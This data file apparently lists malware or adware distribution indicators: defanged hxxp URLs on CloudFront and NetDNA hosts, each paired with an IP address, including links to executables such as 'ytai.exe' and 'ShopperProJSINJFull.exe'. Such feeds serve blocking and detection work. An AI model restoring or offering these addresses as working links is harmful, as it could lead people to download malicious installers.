hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMDLx4LqlY8hEo4G r 3F6T7Ej7pUpUaR2m63dcRg82sn2uhUFVg7kyER2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUAdX/Hc9IoG6 BNIj qt01gyU8iLnKu0BBjlBScKTIC1f8uyh7 gurVWeUj IXhfy	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMCHb6ILV9x0eBQC drCF7eFHh/LPABvBAscXPNbtq4ApuOFLk2t6neQ zLrLpIjsRU9G0rDhsRNGGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhShT5siDjEhi6r6dmpd8In99kSHjLnneUtzqkAeJCtlEn7 xRJ8eGnvE=	54.230.202.140
hxxp://d3dle8xo1zpfnz.cloudfront.net/ytai.exe	54.230.202.34
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMAopJZj7S3tqAQy9IgZy5lJKYX3Ti/i3YMd/8r9q7HQVL3DDad46UzvECo8Sk7TI6jYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdva5A4ZI/qVvwENnlqVy8N p9hhITel/a8ytwpiObEbgDu4Nh8c5r795BoH2Jp8LsKb	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMDYmQbatAdAGMjKRY6Iofb7Uew8UljYWzcuazICVgT8r/43KRFxA3yGEwwxjLaXK3g1FfX12BNP4ozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS7zkSX2fb5qItS2/HkOO2vTX7CKO3gby7floKtuONPXpGA6IeSb7Mf4=	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=2v0SNuZrMFzXE3CBqGdJyZ/TkbZ2czqASSZ3Rj0qX6eMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1N5GFIJlTvuVx92dtdmPF80fhyJSKOx30vCYzjSA6JT3q75McRlGPFouIogWjdbx/ZHatAG0OlbnZVc2n8LByKlYnNfAHkSpDbVAezdf3aKUc xh4nuC6oveZAqHIGghM2z4gguKWlYXUHDmr9X7yCJxU6CcRl6aJOzKeWuSSi2PF/yHbNpOWrVbMijgHn32HvVbvBev1qUeEUgvgXRfh x7O2lby2Hc2HQrSyNo58RbTtmCoGR19nnWJbiJYSnJKno10Lh2ihkwazWNDB99vlaZYtL4Q7eoXHMW2c661pRTyJOL4A53moYZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKFPmyIOMSGLqvp2al3wif32RIeMued5S3OqQB4kK2USfv7FEnx4ae8Q==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=2v0SNuZrMFzXE3CBqGdJyZ/TkbZ2czqASSZ3Rj0qX6eMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1N5GFIJlTvuVx92dtdmPF80fhyJSKOx30vCYzjSA6JT3q75McRlGPFouIogWjdbx/ZHatAG0OlbnZVc2n8LByKlYnNfAHkSpDbVAezdf3aKUQo1JeSgT 5XmlmKz1/6dN13JLgG5QML1bdfZ/rXose/qzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AHV/x3PSKBuvgTSI/qrdNYMlPIi5yrtAQY5QUnCkyAtX/Lsoe/oLq1VnlI/iF4X8g==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=wlkQ3WKgYpSt /KxvF2yajaA6gTX1JJx7OXLse4BafTbQC nVTu53h5TX6K4Kv02td YwXVgml BNIj qt01gyU8iLnKu0BBjlBScKTIC1f8uyh7 gurRsgiMVE/woTmsjA3vU/0pg8RI437KwqDTOI1KKSr3FDX4l9XCm/Va/jJX2BNWr5ZmwkqgaQEwGAs IILilpWF0t0w8n/18WDIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS7zkSX2fb5qItS2/HkOO2vTX7CKO3gby7floKtuONPXpGA6IeSb7Mf4=	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=1ZEnpGuz/IQqQvvNc0/QxMMAYLk9OhUcoOZ8Vy4PwRAQyol6Hp9Rdg0/niVdnGaS3e14SYwGceQNnlqVy8N p9hhITel/a8ytwpiObEbgDu4Nh8c5r795L3r/4r/Y8FXA38xLFtVk1NswOK6/sALrZlB/jCnzNnErXIxNf6X/p/yw2dOqRz0VTJIBlhaXll/jgb6v7cXpPsHbyM38hHidR9eQbFRa9Xq8SJA d bWCEsTev0Rqv4mYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS7zkSX2fb5qItS2/HkOO2vTX7CKO3gby7floKtuONPXpGA6IeSb7Mf4=	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=A3ANzFv7fWDiV tpLHtO 2mom3k2QR0/7OXLse4BafTbQC nVTu53h5TX6K4Kv02td YwXVgml BNIj qt01gyU8iLnKu0BBjlBScKTIC1f8uyh7 gurRsgiMVE/woTmsjA3vU/0pg8RI437KwqDTOI1KKSr3FDntO0hfxvipXLS8QKBdwSe29z1KklHinBKYX3Ti/i3YMgCmKZYKupqcl/Ws PcA i2e 30EIiBCCYhSK4oI05rb38XFohDsSs4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE2/h64BfddrZNA==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=M7A8vgjJHrgX0FFcLlqIhp/TkbZ2czqA/O/oTMwSjgCMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1N5GFIJlTvuVx92dtdmPF80fhyJSKOx30vCYzjSA6JT3q75McRlGPFouIogWjdbx/ZHatAG0OlbnZVc2n8LByKlYnNfAHkSpDYYrkTZsU4NhmK4anH5lVnwBPEhRyyBD7C6yNKYP izy0aR 1i1roGx4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE2/h64BfddrZNA==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=aL/yzOcQGPndHJbbDm7BwKo4fYkgkoL/QF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3pzANCq9oE/KbbCGHFbF/MkflftV3tdFWXTPTId5fWMXmJ3qs8BpiR1HmS0ZrngqaehpOqw6bJSI5/by02XtOY2EEhusghn3aYCpHZc9ZUaG veP12nLJPhQC drCF7eFroLc2ifXph0Jzl1zpkD5MtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29rkDhkj pW/AQ2eWpXLw36n2GEhN6X9rzK3CmI5sRuAO7g2Hxzmvv3kGgfYmnwuwps=	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=N6dOqWm8Q96MfN93CMDrzyGvd gjBe89PoJkZj14EjR4E7mrr1h80jmXqQawsZSOUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9d56ymZ4o9xQb6x14lCSqs761xNGUa9saMydwrVDP9I3IROPie2z40 X0A62pnUj3KYX3Ti/i3YMh066VndfnJPZ7qdg7Xwz6WIIn9KkMnX/3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyW6k3eHz83KB92dtdmPF80fhyJSKOx30vCYzjSA6JT3gHH2AXuVZpY	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=N6dOqWm8Q96MfN93CMDrzyGvd gjBe89PoJkZj14EjR4E7mrr1h80jmXqQawsZSOUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9d56ymZ4o9xQb6x14lCSqs761xNGUa9saMydwrVDP9I3ciXFAHp4HlN0tx3OIPhi9EwAaRG2pHiWQ4He/tpOrQX3WTcqgG6cW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=rU8wGwYGlBTdHJbbDm7BwBlQnoO29mcqQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3pzANCq9oE/KbbCGHFbF/MkflftV3tdFWXTPTId5fWMXmJ3qs8BpiR1HmS0ZrngqaehpOqw6bJSI5/by02XtOY7OvKdESNyIQYCpHZc9ZUaG veP12nLJPhQC drCF7eFW4i9HDfAHxRsfMQgyAZ9y4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS7zkSX2fb5qItS2/HkOO2vTX7CKO3gby7floKtuONPXpGA6IeSb7Mf4=	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=FwW11b 20b74YOj/qSs/oP49U5NJcaex1VMaOJFqXYpm5LT87ehXavGh154/D7lxG2RzYeimzUC1Lb8eQ47a9NfsIo7eBvLt Wgq24409ekYDoh5Jvsx/nwF8xC533FcJPiqQQOytxzFzZbgWqtvBeT1qzZZa53712EELBUZsE10js0 pge/oATxIUcsgQ wQ1V8jD1/9CmmiwBN87iCfPEiQPnfm1ghee7n4Z39v5CM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUu85El9n2 aiLUtvx5Djtr01 wijt4G8u35aCrbjjT16RgOiHkm zH	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=FwW11b 20b74YOj/qSs/oP49U5NJcaex1VMaOJFqXYpm5LT87ehXavGh154/D7lxG2RzYeimzUC1Lb8eQ47a9NfsIo7eBvLt Wgq24409ekYDoh5Jvsx/nwF8xC533FcJPiqQQOytxzFzZbgWqtvBeT1qzZZa53712EELBUZsE3mXgn8p3jh6JpZis9f nTdhckeENmAaNkQvnHTuzbVp54dRxqvgD9SqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AHV/x3PSKBuvgTSI/qrdNYMlPIi5yrtAQY5QUnCkyAtX/Lsoe/oLq1VnlI/iF4X8g==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=FwW11b 20b74YOj/qSs/oP49U5NJcaex1VMaOJFqXYpm5LT87ehXavGh154/D7lxG2RzYeimzUC1Lb8eQ47a9NfsIo7eBvLt Wgq24409ekYDoh5Jvsx/nwF8xC533FcJPiqQQOytxzFzZbgWqtvBeT1qzZZa53712EELBUZsE1j/dHB7BZT3ABZGQjpShx/0JQd5HxgIXdABmFtdiJe0RFBvYhjCj9O4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE2/h64BfddrZNA==	54.230.202.140
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=hpY1rXLYst5PNjxRBLtb4wlu/UMeSmkf/WD6e6SZIIHeyzV7AofXlvpVi1LU/zm/D0Q9sBWH0J31oG/bAbkDO0CN9h bV19VdXQO8eCkzNk9LWPkwGrB/imF904v4t2DoltPqJisDtGNlz6m1J48 dQYf4gGF0f39RnCEeqRSyJ7vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9J4dRxqvgD9SqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5HLnHRSngDc8=	54.230.200.20
hxxp://dfb5uyoqjsg4c.cloudfront.net/install.ashx?e=aQQpsP6/AW3r A4x0AgNXSGvd gjBe89TgoVHp2W0LdIOi3yA1xYQZ9Wus0NvW/mM8IevpAZmQKeLw31Ygf6oV0vxtxEGal90SqM717yNJ/j3 CvjB98G1GtCg9PrzUnZPIZBVxWPMSIVAh2HYa3eDYsLuvXNJnBJOIAnSEbDsx0eh4F9DwOE1qgTPL7jymlK4iUIGEzXSrL Evyupn5FoSAG857z6vS3DT74IwQ6Hz54Y ZWFdcjECmL0vJKiqlZ8BgHG7ns2/h73AEEnIRYjqH4uNI47xg0c/kAk2FomjL Evyupn5FoSAG857z6vSwZDcUuXsN3hAdl/mP5R tpawsc33Jvt4MKudcYkUx1u3m7wDMu3VYBGH92XQHP1gIbOkxAY4L4vcuIL7hrBEo1qFo7tQq4VMJfhPQ7wz8XEfzyeeCNKj6stCsCrExr/dLTgcouY3pl/G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l75z3VpsTY1Y9NtefOTH4UoU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ /sUSfHhp7x	54.230.201.219
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=hpY1rXLYst5PNjxRBLtb4wlu/UMeSmkf/WD6e6SZIIHeyzV7AofXlvpVi1LU/zm/D0Q9sBWH0J31oG/bAbkDO0CN9h bV19VoPPb/i9FtJTgL4xsffnkQbPiCC4paVhdJ/lupoMJFd0NrbGxnyQjvNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5	54.230.200.20
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=2UW/O98m6H f05G2dnM6gIDPU82h5aXbjA5kVqVgWdAgLxC0aXqYrSj7jHR/cZDxWEuZOv QeXwEvj7dMs JhuLt6BhzfOsDsdipVbPJvC6kpVRpoAJ8AwjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tzfMa2zgJTnw==	54.230.200.130
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1Xb8zyMlAjNJ0/b5c3a7vXyFAL52sIXt4X6eOY8tMUElMdnRIEmstqm/kJEdxV49SPoRBvyLKjekWAdmVShyM9BYTBiHIO2K3YaWG5orp2ppr3ctykbyRNv7PDEbG44Ov1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ /sUSfHhp7x	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1Wp3jNnuGZ/QCM8BjoE4r5ojgb6v7cXpPtX8qMQRZgpmz/9fsKQO4 yu6aPorR5b/Qlc4m6AJLdytjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29rkDhkj pW/AQ2eWpXLw36n2GEhN6X9rzK3CmI5sRuAO7g2Hxzmvv3kGgfYmnwuwps=	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1XZGSjSNMjhLtXDXZHqh b9jyJC8MAmcYofyqeYLIru/skFM nYXmDEL4yGuSrT3L8Da67vNBCQrfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLJbqTd4fPzcoH3Z212Y8XzR HIlIo7HfS8JjONIDolPeAcfYBe5Vmlg=	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1VDL5O8sflI1 03aTMX7laps IILilpWF3u3FmdwwefTpJwm7wLvIGql7 MWoTgv1cPg3JQuiDoocCy UGDO9OHqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AHV/x3PSKBuvgTSI/qrdNYMlPIi5yrtAQY5QUnCkyAtX/Lsoe/oLq1VnlI/iF4X8g==	54.230.200.20
hxxp://1fq670-su78sj1t.netdna-ssl.com/ShopperProJSINJFull.exe	198.232.124.192
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1V7T8dW3vpmMBQC drCF7eFnfXu8jqisF9cJKC1Reo3n9ppTNOjE5 LPSZuizlKZS4vVGidJQzQbwcX153juosl0uSr4audwd7JcEM/wt3T7JEXnUcAfrYQBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxL8k8mbBwY k97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9A/NrfOEITMy	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1UCFMPu/XF4Lika8ANLts6GMOD1JqSN m2HMa5E8LXYXQijcfGynTXw2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw==	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1VDLf a7VREBQC drCF7eFyJxroAg8B7PuTJrYNC2IKs 4k/Shc0wZjx0aIWLDaSLiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WVgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb HrgF912tk0	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1XHmSIpx5WtIABZGQjpShx/0JQd5HxgIXfZqK6OcR1oPZEcs3sjXWP5zsjRfLbRUWFnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ /sUSfHhp7x	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1WYSQXKBzk9X6XwtLXz/thLs IILilpWF1CwZZVFr3GqEWlOV1/Fwps4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE2/h64BfddrZNA==	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1XWdlP5RfIHxwTxIUcsgQ w6K306ymsAKF2fYaHzpAWqATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS/JPJmwcGPpPe738QELmpsR9IxxsIt 7em2Gbj8M3wP1hiM8 OtZ3vQPza3zhCEzMg==	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1VIxKFhhAIX38mxw368usKjpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyW6k3eHz83KB92dtdmPF80fhyJSKOx30vCYzjSA6JT3gHH2AXuVZpY	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=WVbe3wHlwMGf05G2dnM6gIDPU82h5aXbjA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLweRhSCZU77lcfdnbXZjxfNH4ciUijsd9LwmM40gOiU96u THEZRjxaMSCFqUzxEuK5pBCt6gYiqoqOiOfWJmOA7bXYxZ9FAxGYCpHZc9ZUaFauHVJPRpz7BQC drCF7eFNKi8z8Pj2nJ/Of1VTlRDPh0Xkjmrfrln7YYdA 6NHJnMOf/uUofLPn8XP 2KKeMU66BvNwpbNqIcyxjb7yeqZLHjDTPh9NKhBoIe Q7libfUyvMFk8ry6fMl7CyXcaP2Up7XwfOPtsDfsjJGkYd1uXeUpSjjYG888bFRwZXWy318jND4gr dsPQLzyLMtOuD98VNsw1snm1qh7b9qBNFiATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS/JPJmwcGPpPe738QELmpsR9IxxsIt 7em2Gbj8M3wP1hiM8 OtZ3vQPza3zhCEzMg==	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=WVbe3wHlwMGf05G2dnM6gIDPU82h5aXbjA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLweRhSCZU77lcfdnbXZjxfNH4ciUijsd9LwmM40gOiU96u THEZRjxaMSCFqUzxEuK5pBCt6gYiqoqOiOfWJmOA7bXYxZ9FAxGYCpHZc9ZUaE9M9DFMEq dQTxIUcsgQ w5ete8oeBwFnBYDrckOrBDYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS7zkSX2fb5qItS2/HkOO2vTX7CKO3gby7floKtuONPXpGA6IeSb7Mf4=	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=WVbe3wHlwMGf05G2dnM6gIDPU82h5aXbjA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLweRhSCZU77lcfdnbXZjxfNH4ciUijsd9LwmM40gOiU96u THEZRjxaMSCFqUzxEuK5pBCt6gYiqoqOiOfWJmOA7bXYxZ9FAxGYCpHZc9ZUaFXs9sbgOmK8XSpt9GSHWXQP lJ0sv/YOYo/Vto7IfmWOHBo7F03Fys4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE2/h64BfddrZNA==	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=KSz5qzb2KgLgYhkkxDuat kCkRqCe6co7OXLse4BafSoipMojeRGOY2 5cMBkwSYtd YwXVgml BNIj qt01gyU8iLnKu0BBjlBScKTIC1f8uyh7 gurRsgiMVE/woTKPuMdH9xkPFYS5k6/5B5fAS Pt0yz4mG4u3oGHN86wMVvLxh6eIKnHvKbjUyzCCcFAL52sIXt4WvqlYaxbLxssmdOYlMc5582M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw==	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=FmLXHIo2UvbdHJbbDm7BwChGKrA4jDpdQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3pzANCq9oE/KbbCGHFbF/MkflftV3tdFWXTPTId5fWMXmJ3qs8BpiR6Sm/NUmuZILaKig fkRtZISm48S97ya72Ul0xzv/1Q1nbJKYwPfuhADJLiVYTsNgBD4NsK07Wi5s IILilpWF0JzvOmbeJDX8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfRNQ4ACwc/17m2whhxWxfzJH5X7Vd7XRVl0z0yHeX1jFbKGbyDZiG8M=	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=9g1KGrSSDbH4YOj/qSs/oP49U5NJcaex1VMaOJFqXYpp96vRIJy/LjtUHaZBOE lG2RzYeimzUC1Lb8eQ47a9NfsIo7eBvLt Wgq24409ekYDoh5Jvsx/nwF8xC533FcNLVXkHqu5mvMMv39XlAOU69kXRc7pJh5WLazpewXw1jJn1GegIILyOsrHZsRsIfMRhg0WUsz0XmIajF ylV 6H8YWruN4e6MTuXTWi43QJZRquGFGeLBjb8FoeejtcWc2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw==	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=eFCD8T/coiccIOUsnkwoNd0cltsObsHAKEYqsDiMOl1AXdQqxJ1va0uGoedNVFAuIR1sKxPFdTenMA0Kr2gT8ptsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxeYneqzwGmJHpKb81Sa5kgtoqKD5 RG1khKbjxL3vJrvZSXTHO//VDUbGtOpbXm9kB1gsLoXCDzZ0JQd5HxgIXcTHJmmjSUu6zZU9mzeGILG2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw==	54.230.200.20
